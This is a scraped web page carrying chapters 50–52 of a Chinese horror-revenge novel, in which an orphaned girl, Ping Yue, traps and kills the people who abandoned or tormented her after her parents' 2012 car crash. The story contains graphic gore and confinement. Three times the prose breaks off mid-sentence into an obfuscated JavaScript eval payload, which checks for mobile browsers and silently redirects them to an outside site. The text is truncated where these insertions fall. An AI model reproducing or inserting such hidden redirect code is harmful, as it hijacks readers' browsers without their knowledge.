梁威说不用,他的手正在摇晃靠墙的书架,那是可移动的书架。他让悦凌凌和平月帮忙,三人合力将书架推到天花板下面。梁威刚把椅子抬到书架前,准备踩着椅子爬上书架,悦凌凌就指着移开书架后裸露出来的墙:“你们看!那有道门!” 平月试探性地伸手去开。梁威拦下她,快而有力地扭动门把手推开了。 昏暗的内室,看不清里面有什么。他拿出张情的手机,打开手电筒,顿时昏暗暗的照亮内室空间。一张接一张的照片张牙舞爪地撞进三人眼中,将三人撞得头皮发麻,眼睛发晕。 那是……他们所有人的照片……死掉的所有人的照片……赵淑萍的死状、范明胜的死状、钱晓文的死状、余有为的死状,被密密麻麻地挂在墙上,用图钉钉着。 血肉模糊的断腿、惨白的脸、腐烂的躯体、惊恐的眼珠、含满血泡的嘴、爬满肉\体的蛆…… 除了张情,死掉的每一个人,都在这张墙上挂着,像展览一样,尸体的一寸挨着一寸,死亡现场一毫米接着一毫米,挤满整面墙。 悦凌凌干呕了一声,说:“好恶心……原来他才是凶手……” 余有为的死,是周志到房间叫梁威的,说余有为快不行了。其实,在周志来叫之前,余有为就死了,还被周志拍了下来,钉在这面墙上。没有张情,是因为他还没来得及拍。 指不定他说着去追陈宇南,其实是想引他们离开房间,借此机会在拍张情。 梁威想回去阻止,转念一想,现在是绝佳的机会。周志的每张照片都拍得特别清晰,360°无死角拍摄,拍尸体的每个部位,拍案发现场的每一寸,这是非常耗时间的。 他们可以借助这段时间离开。 梁威说:“悦凌凌,去把门反锁了。不能让他进来,我们得抓紧时间。” 他爬上椅子,踩上书架,不知道从哪儿摸出一把螺丝刀,快速拧通风口的螺丝。 平月盯着,说:“你还有工具。” 梁威“嗯”了一声:“刚才去地下室找到的,以防万一。”这就用上了。 平月没再问,回头看了眼悦凌凌,她正在将室内能移动的重物都挪到门背后,将门抵得死死的。 通风口的网板被卸了下来。梁威递给平月,“我先上去看看。” 平月还没放下网板,悦凌凌急促跑来,“万一你直接走了怎么办?万一周志破门而入怎么办?不行,要走一起走!” 梁威没办法,和她掰扯就是浪费时间,他扒住通风口,用力往上撑,爬了进去。 通风口的管道是方正的,容纳量比较大。他能顺畅往前爬,却没法掉头。这意味着一旦遇到事,只能退。如果后面有人,退的时候很碍事。他想一个人先去看看。可悦凌凌已经爬了上来。站在书架上,冲他喊:“拉我一把,我上不去。” 梁威退到通风口另一边,说:“有两条道,我们分开走。” 悦凌凌说好。梁威将她提了上去。梁威问下面的平月,要不要上来。平月有点纠结,她问宽敞吗,可以掉头吗。梁威说难。 梁威说,要不你等一会儿吧,我先去前面看看,很快回来。 平月点了点头,说你小心点,问他手机电量够不够,她在周志书桌抽屉里找到一个拍照用的灯,那种大灯,圆圆的一颗,可以戴在头上打光的。 她递给梁威。 悦凌凌埋下头来,说:“你刚才看见的光不会就是这个吧?” 平月愣了一下,说不知道。 梁威说:“好了,悦凌凌你拿灯,走那头。我就用手机,电够,很快回来。”他嘱咐悦凌凌,“一定要记得方向,别走太远,实在害怕就回来。” 两人在通风口分道走,一个去左边,一个去右边。 平月站在书架前,看着敞开的内室,满墙的照片幽幽面朝她,阴森又恐怖。 她盯着那些照片,耳朵听见头顶有沙沙声,两个人在往相反的方向爬行。她开始数那些照片,一张、两张、三张……十张……二十张……三十张……一百张……一百五十张……一百八十张……三分钟了,头顶没声音了。 房间一片寂静,静得像一间死房子。 然后,突然响起了一声尖叫,不知道从哪儿传来的。紧接着,蹭蹭的攀爬声离平月越来越响,越来越响,越来越近,越来越近,几乎近到耳朵边。 平月头也没抬,只听见悦凌凌嘶声竭力的惨叫着往通风口退,退到通风口,一脚踩了空,从上面掉下来,落在书柜上,书柜是平扁的一个柜子,被她大力一砸,登时立不稳倒了,重重摔在地上,痛苦的嘶嚎声惊心动魄。 平月没有去看她,她把椅子叠在横立的书柜上,手举网板,将通风口封了起来。 “你……你……梁威还在上面啊!”悦凌凌痛得说不清话。 平月说:“我知道。” 悦凌凌:“那你还封?” 平月:“不是有人追你吗?” 悦凌凌:“你怎么知道?!” 平月反问:“没人追你跑那么快做什么?” 悦凌凌说:“我看见一个人一下子就闪了过去,超快……” 话音刚落,一只断手从黑暗的通风口伸出来摔在网板上,将网板震得颤了颤。梁威爬了过来,满脸的血。平月拧上最后一颗螺丝钉,跳下椅子。 梁威睁着充血的通红的眼,用力拍打网板,让她打开,“打开!平月!打开!” 他对平月的行为感到愤怒,愤怒到瞪红了眼,眼角青筋毕露。 “平月!打开!” 梁威在喊。 悦凌凌也在喊,“你开啊!” 平月望着梁威,摇了摇头,眼神平静无波,毫无情绪,哪怕他脸上的血从网格上方滴了下来,哪怕正正中中滴在平月额头上,她仍旧一言不发,只将他盯着。 梁威后背起了一层冷汗,比刚才还冷,冷得他哆嗦。 刚才,他爬进通风口的甬道。甬道很深,他一直往里爬,爬了很远,心中大概绘出了距离,从周志房间到房子的尽头,应该再爬一会儿,就能到了。如果这条通风道一直是直线,那么通风口的另一端应该在房子的外壁上。这是最幸运的结果,外壁的通风口只会是风扇,为了阻隔雨水,最多将甬道最后一段设计成向下的走势,不会封口的。 他一边爬,一边思考,视野好像看见了尽头。黑乎乎的,看不清,但耳朵捕捉到细碎的声音,滴滴答答,轰轰隆隆,随着他的爬行,声音越来越大,那是暴雨打在屋檐上拍在树叶上的声响。 果然,他猜中了。通风口的出口就在墙上。 马上就能出去的迫切让他加快了速度,他双脚并用,蹭蹭往前窜,前所未有的灵活,像一只敏捷的猴子。 然后,一头撞在了一根线上。能知道是线,是因为将将撞在额头上,小时候拉的弓弦的触感,细细的线在他的额头绷紧了,绷出一条细痕。 那一瞬间,他来不及想那根线为什么悬在这里,身体先一步往后猛退。人在往前爬的时候,会用双手撑着往前爬。退也一样,会撑着往后退。梁威整个身体又快又用力地往后退,依旧迟了,身体退了,脑袋退了,手没来得及抽回来,一把斩刀从顶上落下,毫不留情斩在他的双手上。 鲜血瓢溅,他这时才意识到,这是一场陷阱。所有看似能出去的地方,都是陷阱。 剧痛袭来,他爆发出剧烈的惨叫,然后,疯狂地往回退,退回来时的通风口。 明明看见了光,脚下的触感已经和通风道不一样了,明明蹬上了通风口的网板,但就是下不去。 他忍着晕眩多退几步,退到通风口的另一边,悦凌凌爬的那边,埋头往下看。看见了平月的脸,她举着网板,手里拿着螺丝刀,在往网板上快速拧螺丝,将网板封死在通风口上。 “你……” 梁威不可置信地瞪大了眼。 下面的人看了他一眼,拧上最后一圈螺丝,跳下了椅子。站在下面,抬头注视他。 灯影落在她脸上,他的血正滴滴答答流到她的额头,将她的额头染得血红。眼睛染红了,半张脸和鼻梁染红了。血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那晚,他喝得有点多,有点晕,组长说不行就别喝了,说改天再喝,但男人嘛,喝再多都不会承认自己醉了,只会越喝越清醒,如果第二天头疼还得怪喝到假酒都不会承认自己喝多了。他说他还行,没喝多,于是又喝了一箱啤酒。 就是那晚,他喝完酒,组长们回家,他回值班室。刚回去,值班的女警就说交汇路出了车祸。 他挥挥手,说这是交警大队的事,和我们没关系。 女警说,交警那边来电话让我们先去现场看看,听说这起车祸很严重。今天交警大队事多,他们那边缺人手。女警又解释了为什么找他们,因为派出所离得近。 他拉过椅子坐下,说,找阿杰他们去啊。女警说,他们出警去了。梁威叹口气,行吧,我去看看。 他戴上警帽,去洗了一把脸,清醒了一点。可还没走出派出所门,又开始晕了。这一晚是真的喝得有点多,因为组长提了一句话,说他有希望转正。 梁威没本事,是靠家里塞钱进来的。走后门和正式警员的待遇有很大区别。他家只是做普通生意的,卖烟熏鸭,花了十五万买这个位置。别人走后门是关系硬,他是纯靠钱堆,不可能隔几年再交几十万还是个非正式警员,转正最保险。既然有希望,他就陪组长他们多喝了几瓶,还约定了改天他请客,去唱歌。 他扶着派出所的白墙,骑上警车,往车祸地点开。交汇路133号,就在不远,拐个弯,过条马路,再转个弯就到了。两分钟都不要。 确实很严重的车祸现场,他打眼一看,酒都醒了几分。 把警车往边上停好,他一边猫腰往车里瞧,一边问还有人活着吗? 前座的两个人都断了气,头耷拉在安全气囊上,司机的头简直惨不忍睹。梁威从来没见过能撞成这样的头,只在电视上看见过被砸成这样烂的头。当他这样想的时候,自己都吓了一跳。 凶手案的性质和车祸案可不一样。他拍拍自己的脑袋,告诉自己都是喝多了瞎想的,他没见过几起车祸,指不定撞车就是能撞成这样。 后座传来声音。是个小女孩,刚刚转醒的模样,她从靠背睁开眼,失焦的瞳孔渐渐凝实,望向了他。她看见他戴的帽子,看见他穿的衣服。她说,警察叔叔,凶手跑了,去抓他们。 凶手跑了。 去找他们。 他们。 多可怕的词啊。他一个人怎么抓啊?他还喝了酒,骑了警车,交警要来,得第一个逮他,扣他车扣他驾照,再关他。他现在估计比醉驾还厉害,去测血能测出300的酒精含量。 他只是普通家庭,只是卖烟熏鸭的普通家庭,这个位置是靠花钱托关系再托关系几经周折买来的,经不起这种折腾。 他说:“报警没?打120没?” 小女孩说:“没有。” 很没良心的,梁威竟然感到松了一口气。他说:“叔叔给你打120,你呆在这里别动,叔叔回去叫人。” 他拿出手机,走开几步,站远去,没有先打120,他先打了阿杰的电话,让他快过来。阿杰和他关系很好,问他啥事。他说自己喝了酒骑车来的,霉啊,摊上这么大的事,你快来替我,我得先回警局,不能留在这儿。不然待会交警肯定扣我。 阿杰说了句你真牛逼,这都敢去。梁威说,糊涂啊,以为真的看一眼就走。他回头看了眼车祸现场,但凡没这样严重,他还没这么怕。这场车祸,要细究起来都不是车祸那么简单,到时候他作为第一现场目击者,还得做笔录。他也没敢告诉阿杰这里到底有多凶。 阿杰说,行行行,你先回吧,我马上过去。 梁威挂了电话,走到车窗前,对里面一直盯着他的小女孩说:“叔叔已经报警打120了,医生马上就来,你别乱动啊,叔叔肚子疼,先去上个厕所。” 车里的小女孩很安静,没说话,就那样盯着他,漆黑的瞳孔干净又纯粹。 后来梁威每次做噩梦都会梦见这双眼睛,梦见这双眼睛问他,为什么不说实话。 梁威没说实话。他是回警局后再打的120。阿杰回来是凌晨三点了,告诉他,被定性为严重车祸,肇事车逃了,还在找,能找到的机会不大,那边一整条路都没安监控。 出事车的监控设备被损坏,储存卡被拔了。那时候指纹不全面,身份证采集指纹都是从2012年5月30日开始实施的。 梁威回警局后一直坐立不安,直到阿杰说完,他还有点反应不过来,问了一句:“没别的?” 阿杰疑惑:“还有啥啊?” 梁威摇摇头,他估摸着是自己喝太多,喝醉了,才有那种以为是凶杀现场的错觉。 但他还是不放心。直到第二天的新闻播报了这场车祸,才完全落下心。可偶尔还是会感到不安,他始终想起那双眼睛,纯粹干净的眼睛,一直期待、信任他的眼睛。那个小女孩,从此变成了孤儿。 20岁的梁威还有点不多的单纯,会因为这件事而良心不安。他找人打听了一下,偷偷去医院看那个小女孩。小女孩躺在病床上,挂着吊液,病床旁坐着一个衣着精致的女人,她在削苹果。削到了手,把刀和苹果放在桌上,出了病房。 梁威悄悄潜进去。他以为小女孩睡着了,当他靠近病床时,小女孩睁开了眼,通红的眼,不知道是哭的还是熬的。她看见他,声音沙哑地问:“叔叔为什么不抓他们?” 梁威尴尬得说不出话来,那个小女孩一直盯着他,他只好干巴巴回:“抓谁啊?” 他觉得她年纪小,不懂,没指望她说出什么,以为她最多只会说开车撞她的人。谁想,她开口吐出这句话:“凶手。撞我们的凶手,杀爸爸的凶手,逃跑的凶手。” 梁威紧张地问:“撞你们的凶手跑了,警察正在抓,杀你爸爸的凶手是谁啊?” “女的。” “你……是不是看错了?会不会是撞晕了做噩梦了?” 小女孩抿上了嘴,不再说话,只将他盯着看,一直看,一眼不眨地看,就像要将他的脸深深刻在她瞳孔里。 梁威也真的从她那双漆黑的瞳孔里看见自己的脸,窘迫的,仓皇的,惊怕的。 他在害怕。 因为他昨晚那一遭,去了又跑,算是故意隐瞒、包庇罪犯、知情不报、醉驾出警……各种叠加起来,分外致命。他家承受不起,他也承受不起。他不知道自己除了干这个还能去干什么,回家卖烟熏鸭吗? 梁威落荒而逃。 51. 第 51 章 “你……” 悦凌凌忍着疼,往后挪了几步,害怕地盯着平月。 “——为什么不让他下来?” 平月走到她面前,蹲下来,蹲在她身前,视线平视她。她声音轻而柔和,她说:“我在保护你。” 悦凌凌很迷茫。 平月耐心解释:“有人在追你,想杀你。我得把他关在上面,这样他才不会追下来杀你呀。” “原来是这样……”悦凌凌狠狠松了一口气,原本强撑的身体无力软下去,倒在地上。 她很疲倦地对平月笑:“谢谢你啊……其实、其实……以前很不喜欢你来着,你还想着救我……” 平月也跟着笑,说:“没关系,你也是条人命。” 悦凌凌点点头,“真的很感谢你。” 她的腿不知道是摔断了,还是怎么,很疼,腰也疼。从通风口掉在书柜上时砸到了腰,从书柜砸到地上又摔到了腿。浑身都疼。悦凌凌忍不住抽冷气。 平月问她能走吗。悦凌凌说:“动不了,不想动了,好累啊,好痛啊,痛得要死了。” 平月了然点头:“那就好。” “啊?”悦凌凌一时没反应过来。 平月笑笑,抬头看头顶的通风口,那里只剩下血,梁威跑了,跑得很快。她收回视线,看着悦凌凌,就蹲在那儿看着,悦凌凌被看得头皮发麻,心跳如鼓,不安地叫:“平、平月……” 平月没出声,就那样看着。 悦凌凌再傻也知道不对劲了,拖着疲倦的身体往后挪,往后挪。后面是内室,她回头看了眼,又看了眼对面的平月,她还是蹲在那个位置,只将她盯着,面无表情地盯着,一动不动。 悦凌凌真想骂一句疯子,疯子,疯子。但她不敢骂,她怕平月上来打她。平月现在完手完脚,自己浑身都痛,站不起来,坐不起来,往后挪的时候腰都是疼的。打起来只有被打的份。 可她不想进内室,那里面全是恐怖的照片,她害怕。 忽然,一个东西弹了过来,一颗小石头,从平月手里,像弹珠一样,被她屈指弹到悦凌凌身上。 第一颗弹歪了,落在地上,滚出嘀嘀嗒嗒的脆响,第二颗弹到悦凌凌脚上,第三颗弹到悦凌凌胳膊上。第四颗弹中了,弹到悦凌凌脸上,悦凌凌痛得叫了一声。第五颗,弹到悦凌凌嘴上,悦凌凌又叫了一声。 悦凌凌整个脑袋都绷胀了,这种游戏多么眼熟啊,多么熟悉啊。她满脸惊慌又恐惧地望着平月,全身哆嗦,眼睛张得大大的,全是惊恐,惊恐倒映出平月的脸,面无表情的脸,平静的脸,那张脸,那张坐在事故车里的脸。 悦凌凌已经忘记那天那么晚为什么还在街上玩,她想不起来了。她只想得起,路口出了一场车祸,车子的碎片遍地都是,还有沙,石头,碎石,车的零件。 她走在路上,是想回家的,应该是吧。她不记得了,她只知道都那么晚了,走在路上肯定是想回家的。 然后,她看见车里坐着一个女孩,小小的,不安的。为什么知道不安,应该那个姿势悦凌凌特熟悉。 她在学校被人欺负,在小区里被男孩子楸了头发之后也是那个姿势。躲在树后面,抱着身体,不断发抖,不断哆嗦嘴,想叫救命,可是没用,没人会理她。 因为大人们都会说,人家是想和你玩嘛、人家是喜欢你才这样嘛、你怎么这么小气啊、人家又不是欺负你、这是喜欢你才这样对你呀、不然你看人家怎么不这样对别人呢、你没看见人家还对你笑吗……是的,每个欺负过她的人都露出笑,那种得意的笑,嘻嘻哈哈跑了,只留下她一个人。 悦凌凌太熟悉了,熟悉到她看见那个小女孩那样坐在车里时,竟然觉得好玩。对,好玩。 她忽然理解大人们说的话——他们想和你玩才这样啦——悦凌凌捡起地上的小石头,对准车里的女孩,屈指弹了过去。第一颗石头,打在地上。第二颗石头,打在车上,嘭的一声。第三颗石头,打在女孩的肩膀上。第四颗石头,打在她的脸上,她痛得叫了一声。第五颗石头,打在她的嘴上,她又叫了一声。第六颗石头打在她的额头上,她抿着嘴,死死抿住,隔着马路,望着她。 那双眼睛很黑,路灯很亮,照得幽暗而漆黑。悦凌凌被盯怕了,她能被别人欺负是因为性子软弱,被别人盯久了总会害怕。就在她捏着第七颗石头,不知道该弹还是该扔的时候,呜呜呜的警报声从远处响起,越来越近,很快就看见一辆警车杀了过来。 悦凌凌吓坏了,她虽然知道好玩,但也知道不能被大人发现,她扔掉石头,拔腿跑了。 这只是很小很小的一件事,小到悦凌凌没几天就忘了。后来,再有男孩楸她头发的时候,她也会和男孩玩,因为她懂了,那是他们觉得她好玩、喜欢她、想和她玩的表现。 就像那晚,悦凌凌觉得那样好玩,那个女孩好玩,弹石子好玩一样。 …… 地上掉满了石头。 悦凌凌从最初的痛,到后来渐渐感受不到疼。 平月拍拍手,说:“真无聊。” 悦凌凌一句话不敢说,撑着手坐在那里,神情惧怕,她想起来了,想起了那件事,想起了平月这个人,想起了那个小女孩,想起了一切。她知道这里是怎么回事了,她知道为什么大家要死了,她还知道,自己也要死了…… 可是,她没做什么啊,就是弹几颗石头而已,小孩子们不都喜欢这样玩吗,这也有错吗,当小孩有错吗? 悦凌凌说:“这不关我的事啊……你放我走,平月,你放我走,那时候我还小,我不懂,我不知道,我什么都不知道,我没做什么,你应该怪撞你的人,和我没关系,你放我走,放我走……我跟你说对不起行不行,我对不起对不起对不起,我真的不是故意的,就是就是……小啊,小孩嘛,什么都不懂,小孩嘛觉得好玩啊,就是想和你玩……真的……”她学会了大人那套说辞,捏得精准无比。 “我就是想和你玩……”她不断这样重复,不知道在说服平月,还是在给平月洗脑。 平月“哦”了一声,笑着说:“我也想和你玩。” “我们来玩吧。” 她站起身,走向悦凌凌,一步,一步走过去,笑着走过去。 “现在……我们来玩吧。” 悦凌凌尖叫着挥手,朝走过来的人挥、打、抓,张牙舞爪地推,想阻止平月靠近。她一边推,一边叫,一边喊救命。 平月逼近她,她慌张往后退,退进了昏暗的内室,往里越退越深,越退越深,退到平月几乎看不见人。 平月站在门口,视线落在看不清的内室里,语气轻轻:“我们好好玩,慢慢玩。” 嘭。她带上了门, 悦凌凌疯了一样从黑暗里冲出去,冲到门后,拼了命地拍门拽门,打不开,门被锁了,完全打不开。她用身体撞门,撞得骨头咔嚓响,腰更疼了,腿更痛了。她痛得跌坐在地上。整个人陷入漆黑,伸腿看不见自己脚的漆黑。 她尖叫,发狂地叫,叫陈宇南,叫爸爸,叫梁威,叫妈妈,叫平月,她说平月对不起,我错了,原谅我,放我出去,你用石头弹我,随便怎么弹,放我出去,别把我关在这里,放我出去…… 叫得声音沙哑,声嘶力竭,叫到喉咙发疼发干,叫到浑身无力,没人应,外面一点声音都没有。 她躺在地上,盯着黑暗,灵魂深处溢满恐惧,她害怕。她颤抖着,缩到墙角,肩膀碰到了照片,一想起那些照片,她慌慌张张爬远,挪到另一面墙角,躺在地上,蜷缩成一团,紧紧抱住自己。 双臂环抱的身体,在害怕,在发抖。四面八方都是黑,没有声音,只能听见自己急促沉重而慌乱的呼吸声。她不知道自己在哪里,不知道外面有什么,不知道自己躺了多久。 黑暗和空洞让她没有时间感,没有空间感,没有实在感。她就害怕,无尽的害怕,无尽的恐惧。她把自己越抱越紧,不断地哭,控制不住地哭,哭到后来,哭不出来了,哭累了,眼泪干了。 她在恐惧里精疲力尽地睡着了,又醒了。然后饿,非常饿非常饿,饿到反胃,饿到胃疼,饿到肚子疼,饿到想上厕所。 她紧紧夹住腿,憋着。也许是十秒钟,也许是半个小时,也许是两个小时。她说不清,她不知道,她甚至不知道自己憋的时间是长还是短,不知道自己憋了多久,她只知道自己忍不住了。 完全忍不住了。她爬起来,忍着疼,脱下裤子,尿了出来。 黑暗里顿时有了一点别的声音,尿尿的声音,让她感到没那么恐惧了。她喜欢一点自己的声音,这样显得有人在陪她。但很快,声音就没了,她还想要更多的声音,可是尿完了。 鼻腔挤满了骚臭。 她提上裤子,爬到对面去,蜷在地上,紧紧环抱自己。又安静了,完全的安静,连雨声都听不见。是她在这里面待得太久,雨停了吗?她不知道,她只知道这种空寂让她极度恐慌。 她哼歌,一首接一首。喉咙哼干了,才哼完五首。五首啊,算算时长好像才十几分钟,可是她觉得好像过去半个月那么久。她饿到痉挛,她开始想念饮料,想念炸鸡,想念汉堡,想念薯条。妈妈不让她喝饮料,说不健康,只让她喝白开水。这个时候,她觉得白开水也很好喝,让她喝一辈子白开水也愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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马路人行道上,有个扎马尾的小女孩穿着毛呢格子裙跳着跑过去,忽然又倒回来,站在车窗的对面,好奇地将车里女孩望着。 然后,她从地上捡起一颗石头,冲车那边弹了过去。一颗,两颗,三颗,四颗,终于弹中了车里的女孩,女孩痛得叫了一声。手里捏着石子的女孩登时发出得意的笑声,紧接着,弹得更卖力了,像玩游戏上了头,只想玩,只想一直玩。一直弹。一颗接一颗的石头弹到女孩脸上、头上、脖子上,落下斑驳的淤青。 她紧紧抿着嘴,不叫。 路边的女孩就走近些,用更大的力气弹。似乎她不叫,就不对,必须要叫出来才行。 不知道弹了多少颗石头,远处响起“呜呜呜”的警车声,警察的车过来了。她吓得把手里的石头一扔,快速逃跑。 录像到这里结束,电视陷入一片白茫。三秒后,重新播放。第二遍播放完,又有三秒钟的空白,然后播放第三遍、第四遍、第五遍、第六遍……无限循环。 悦凌凌从最初的迷茫到意识到那是自己,恐惧爬上心脏,她又开始哆嗦起来。 随着录像不断循环播放,渐渐变得茫然,目光呆滞。她傻傻盯着电视,听里面传出来的细微声音,瞳孔倒映出画面,但什么也没看进去,就像风从脑海吹过,转一圈回来再吹过去,又转一圈回来还是吹过去,什么都没留下,什么都意识不到。她就是立在那里的树,只是在循环与循环之间的三秒空隙里,眨了一下眼睛,或者动了一下眼珠。 不知道播放了多少遍,不知道播放了多久。悦凌凌记不清,数不出。她只知道,电视“啪”地一下黑了,不放了,周围变回黑暗,寂静的黑暗。 她怔了许久才反应过来,然后朝电视发疯地扑过去,抱住电视,求她再放,再放,继续放。 她需要光,需要声音,需要除她之外的一切东西。 她求到嗓子失了声,眼泪干了水,鼻涕凝固了,昏昏沉沉不知道睡了多少次,就在她的瞳孔失焦到最大角度时,电视又亮了,又开始反复播放那段录像。 她像一条饿了千百年的狗闻到了肉香,扑上去,坐在电视最近的地方,将眼睛贴上去,盯着录像看,听里面发出的声音。女孩的痛叫,她得意的笑,石头滚在地上的脆响、弹在人身上的闷响。 反反复复地看,反反复复地听。看到眼睛快闭上,听到耳朵泛起嗡鸣。电视又关掉了。她又陷入了黑暗,然后浑身一震用力张开眼球,抱着电视继续求她再放,求她给她光,给她声音。 来来回回,重重复复,她在黑暗与光亮,寂静与喧嚣里,来回徘徊,来回挣扎,来回流窜,直到她分辨不出什么是黑暗,什么是光,什么是寂静,什么是喧嚣,直到她躺在自己失禁的大小便里,瞳孔像反光板一样折射出录像的画面,渐渐没了声息…… 52. 第 52 章 周志追着陈宇南去了地下室,原以为他会受刺激做出疯癫的事,结果陈宇南扒着地下室一寸一寸地摸索。 周志一下子就懂了,他在找出口。 地下室很小,十来平米的空间。楼梯下面放置一台电力发动机,轰隆隆运作。四处凝固成暗黑色的血,范明胜断掉的那条腿躺在墙角,已经腐烂到爬满蛆和苍蝇,嗡嗡嗡地飞出浓郁的恶臭。 货架上堆积各种杂物,铁锤螺丝刀各种小工具、水桶扫帚、书本报刊,周志随手抽出一本刊物,很老的刊物了,二十多年前的,书页全部潮湿匝成一起,纸业变黄蛀虫。 他还能从里面抖出细细的小到像灰尘一样的虫的尸体,还有一份报纸,夹在刊物里的报纸。在飘掉地上之前,周志伸手捞住了。手速极快的缘由是他扫到一张熟悉的照片,尽管照片已经模糊,他还是认出来了。 2012年1月4日,晚上十一点,他在平城交汇路133号拍摄的车祸现场照片。 当晚,交汇路有两场车祸。他师父打电话说交汇路77号有一起车祸,让他去现场取照做采访。他打车过去的,司机听他口音是外地人,故意绕了一圈路。 他家到交汇路77号只需要几分钟,司机去后面两条街兜了一圈,被他催促之后,隔了一条街从交汇路145号往回走。 交汇路是由新旧两条路拼接而成的。交汇路100号之前是老路,通往所有人流量密集的商圈,四通八达。100号之后是新修的城郊快速通道,用于发展城郊。 那条路才修好半年,基础设施还没跟上。没有摄像头,没有降速提示牌,只有两排路灯,还亮一盏灭三盏,红绿灯的读秒很快。 出租车开过交汇路133号时,周志打眼就看见横在路中央的黑色轿车,被撞得惨不忍睹,满地碎片。 他忙叫司机停车。司机说还没到77号嗫。他说不去了,把钱付了,拎着摄像机下车。 这是一个让他转正的绝佳机会。 周志,22岁,刚从大学出来实习的大四学生,在平城电视台新闻采访部实习。这是他实习的第三个月,一直都是跟着师父四处采访,从来没有单独采访过。台里给他的单独采访只有去顶替别的播报员拍拍美食节目之类的,这些并不能给他加分。 他需要独立完成一次重大采访,才能让自己留在电视台。 这是一次机会。空寂的交汇路133号,路灯昏暗暗,没有行人,没有路过车辆,遍地汽车零件,当场死亡的司机,这是一场特大事故,肇事司机在逃。这是一场可以上报纸板块的新闻,连师父都不知道,说明还没有人报警。这是他的机会,他一定要把握住,赶在十二点之前往台里递稿。 他拿出相机,远远近近,每一处每一寸,车祸最严重的地方的特大写,拍了百来张。 “叔叔……” 车上传来微弱的叫声。 有一个小女孩,双腿被卡在座椅下面,拔不出来,她努力往周志的方向探身,但也只能伸出手去。 周志放下相机,走过去。 小女孩说,救爸爸。 周志往驾驶室看了一下,血肉模糊的头颅几乎让他晕厥。他跟师父拍摄过不少车祸,这是他见过最严重的一次。 周志说,你爸爸死了。 小女孩怔了一下,那双漆黑的眼眶里瞬间裹满了水花。她说妈妈…… 周志说,妈妈也死了。 她终于哭了,但不是那种嚎哭大哭,就只是安安静静的,眼泪快速往下掉。她抿着嘴,手指掐着车窗的缝隙,整个身体都在耸动。 周志看了眼时间,照片拍得差不多了,同时时间也不多了。他说,我报警了,警察一会就来。然后走到路边去给师父打电话,他说交汇路133号有一起重大车祸。师父依旧坚持让他先去77号。周志再次强调了是重大两个字。师父才说,那你处理那边吧。 周志笑了,当即往77号那边跑。这边是新路,车很少,他在这边打不到车,得去老街那边,他得抓紧时间打车回电视台。 跑过132号的路口,他看见一辆警车,歪歪扭扭地骑了过来,飙去了车祸现场。他没有回头,继续跑。 那条新闻报道是周志独立完成的,周志家里还珍藏着这份报纸,和此时他手里拿着的这份一模一样。 播报车祸板块的下方,写着——记者:周志 周志如愿以偿在电视台留了下来,不是因为这场车祸撞得足够烂、肇事司机逃跑,而是当场死亡的人叫平成礼,平城房地产老板。一家三口,只剩下一个女儿。 死的人足够大,就能占据纸上一块板块。 周志握着报纸的手发起了抖,他忽然意识到一件被忽略过去的事情——平成礼的女儿叫什么名字? 没人知道。因为那场车祸后,平家资产被四分五裂刮走,平成礼成了旧时代的死人,没人再想得起。 但周志有个不可理喻的猜测,平成礼的女儿,也许叫……平……月…… “啊!” 楼上响起一声短促的尖叫,听着像悦凌凌的声音。 周志浑身一震,和陈宇南一起看向地下室的门。周志问了一句陈宇南:“2012年,你几岁?” 陈宇南不明所以地扫了他一眼,“6岁。” 周志哼笑:“6岁,你能干什么?”他能猜出他出现在这里的原因是因为他没有及时救人。 陈宇南:“什么干什么?” 周志:“2012年1月4日,交汇路133号的车祸现场,你在?还是你爸你妈开车把人家撞了跑了?” “神经病。”陈宇南不屑地说,“撞死人才赔多少钱,用得着跑?” 周志:“有没有可能被撞死的人身份地位比较高,不是一点钱能解决的?” 说完,周志自己陷入了迷茫——那赵淑萍是怎么参与的?钱晓文、张情、梁威、余有为又是怎么参与的?悦凌凌比陈宇南还小,怎么参与的? 梁威的参与方式,周志能猜出来。因为他好像看见梁威了,在离开现场之前,那辆骑得歪歪扭扭的警车,假如没有猜错,梁威应该是酒驾了,去了现场发现事件有点大,怕惹事上身提前跑了。那其余人呢? 钱晓文看起来很朴素,甚至有点穷的打扮,怎么能参与到那场车祸里去?张情或许是因为当人小三了?余有为一个厨子能做什么?赵淑萍……往前推算,大概是接近五十岁的年纪,一个小老板的母亲能做什么? 嘭! 楼上响起重物砸地的动静,动静很大,震得头顶的地面颤了颤。 周志悄无声息顺着楼梯上去,楼上空无一人,他摸着门,一间一间往里面轻推。平月的门开了,里面没人。悦凌凌的门开了,没人。陈宇南屋里也没人。周志自己的房间门……推不开。门把手拧动了,说明没反锁。可推不开,应该是有东西抵在门后。 他贴到门上,听里面的动静,听见了悦凌凌的嚎啕大哭,然后没别的声音了。 他把耳朵从门上拿开时,整个房子寂静无声,空旷,清冷,只有冷白色的灯光幽幽照着,外面雨幕硕大,世界黑得发沉。 周志忽然感到一阵心慌,他匆匆退回地下室,很急切地问陈宇南:“找到了吗?” 地下室空无一人,只有发电机很沉闷而响亮地叫嚣。陈宇南不见了。 周志站在楼梯的最后一层台阶,满目慌张。 “嘭!”比刚才更响亮的撞击声——地下室的门,在周志身后关上了。 门合上的瞬间,周志看见了平月的脸,面无表情地站在门后。他还看见了陈宇南的脸,陈宇南的手抓着门把手,神情冷淡地带上了门,他的另一只手,抓着铁链。 周志冲上去。门已经合死了,无论他如何用力掰动门把手,都一成不动。 隔着厚重的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229181|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 